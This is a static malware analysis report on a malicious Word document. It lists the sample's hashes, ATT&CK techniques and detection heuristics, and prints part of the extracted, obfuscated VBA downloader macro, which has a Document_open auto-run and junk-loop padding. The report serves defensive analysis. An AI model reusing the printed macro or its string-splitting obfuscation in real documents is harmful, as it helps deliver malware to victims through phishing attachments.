Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a479b83555627fc…

MALICIOUS

Office (OLE)

178.8 KB Created: 2019-12-12 13:41:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 866fa9411647868c98a5522ef67f3a03 SHA-1: 8535aeb0529b51770831d6a05d5d61a1a78ab4c4 SHA-256: 5a479b83555627fca9b1288d75d065ce29f434e6b00ddc97718afca6ab6866a4
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a VBA macro that is triggered by the Document_open event. This macro utilizes obfuscation techniques, including reassembling API names like 'winmgmts' from split string literals, and employs CreateObject to likely download and execute a second-stage payload. The ClamAV detection also confirms its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7448061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7448061-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8787 bytes
SHA-256: 6224f6e44f0607c29f92e3ded3a45283c036abce0ae8176dd31fc8c9989fb4ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jmijjjwz"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Cmsodkagln, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Psnacbyoo = Rgvuodzcz To 0
      For Mvjndaabwfub = Zholwhlfadbih To 0
         Xisxvfsroxx = (23 + Round(WOJOkxR3))
      Next
      Mcxeovowkr = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Jgufmvtdkzwbe = uzH To MZDUoaj1
         Hqanytysxgwt = ChrB(dANsZ68a4)
         Next
      For Umqpymzxl = 0 To 0
         Ekbnfvad = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Kxulerbclz = Puctncuztox To 0
      For Qgkfgaojbi = Cenmqazu To 0
         Zxvkgosrvadc = (23 + Round(WOJOkxR3))
      Next
      Qxfznenlqq = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Gndoxwtugnkwt = uzH To MZDUoaj1
         Kmkzapcvtva = ChrB(dANsZ68a4)
         Next
      For Ingeziieoh = 0 To 0
         Itedmigon = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Mvaayvvxtcp = Wmagdsmafqo To 0
      For Jbpcxwaxve = Ecrjmdckv To 0
         Qkwjfogflvm = (23 + Round(WOJOkxR3))
      Next
      Hqetxqaixazq = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Tnluqroysam = uzH To MZDUoaj1
         Oyrlrpxbvy = ChrB(dANsZ68a4)
         Next
      For Eqetkxskxn = 0 To 0
         Awufjyeg = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Swumbowaigdjf
End Sub

Attribute VB_Name = "Sfonhqibzw"
Attribute VB_Base = "0{9B2A4338-B897-444A-A779-B143BA992B4A}{0B3CF45D-5FD6-4949-84A1-381C66AD4230}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tebeqsmzwihuh"
Function Trtzyboghqnv()
   For Bxogtrqcts = Alimqjauxwg To 0
      For Liyszzwmf = Htagilcws To 0
         Rnputrxleqb = (23 + Round(WOJOkxR3))
      Next
      Jrkuscfvh = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Witmlukuk = uzH To MZDUoaj1
         Kcffeotyqgs = ChrB(dANsZ68a4)
         Next
      For Qbidqptkmkxlx = 0 To 0
         Kghqltghomxqb = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Tmtfgqwh = Jmijjjwz.Cmsodkagln
   For Wgzpadmybl = Cnrnhbzgi To 0
      For Wjllttkzdeodw = Mmfsjkax To 0
         Wlylejcegcgp = (23 + Round(WOJOkxR3))
      Next
      Eqlgcojvfdpm = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Hpwmrsxhlny = uzH To MZDUoaj1
         Ypfxxunnsy = ChrB(dANsZ68a4)
         Next
      For Fiafvwsimwqg = 0 To 0
         Zuwfxhhdkfags = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Knkdvjkxc = Tmtfgqwh + Sfonhqibzw.Ugpgpbkc + Sfonhqibzw.Xhxonjbodqlbv + Sfonhqibzw.Ryxzseahphsba
   For Ultxoocklbbyg = Ybbvwntudqn To 0
      For Eesypcuel = Nvqbeppomfbnd To 0
         Mbrphbftghjdj = (23 + Round(WOJOkxR3))
      Next
      Knodibwrpnb = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Dcqoypqsmvfw = uzH To MZDUoaj1
         Jtvmfkvu = ChrB(dANsZ68a4)
         Next
      For Arypjcbfckqdq = 0 To 0
         Uoyxrjgaz = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Nceizhcj = Knkdvjkxc + Sfonhqibzw.Gwfpippqq + Sfonhqibzw.Hwekonmzcqemd.ControlTipText
   For Jijyehojw = Fyxhvxunhkq To 0
      For Ethplpqakc = Ctymaibhnorh To 0
         Tjfcysryu = (23 + Round(WOJOkxR3))
      Next
      Zygzovvp = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Ewagbpjypbzj = uzH To MZDUoaj1
         Hvhepceynmbku = ChrB(dANsZ68a4)
         Next
      For Svrrppnevwdia = 0 To 0
         Apvkrsoral = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Trtzyboghqnv = Oghweyfyl + Nceizhcj + Oghweyfyl
   For Uohhudctbpsxz = Dzyiocbkvfgdg To 0
      For Dgafhfvcpp
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.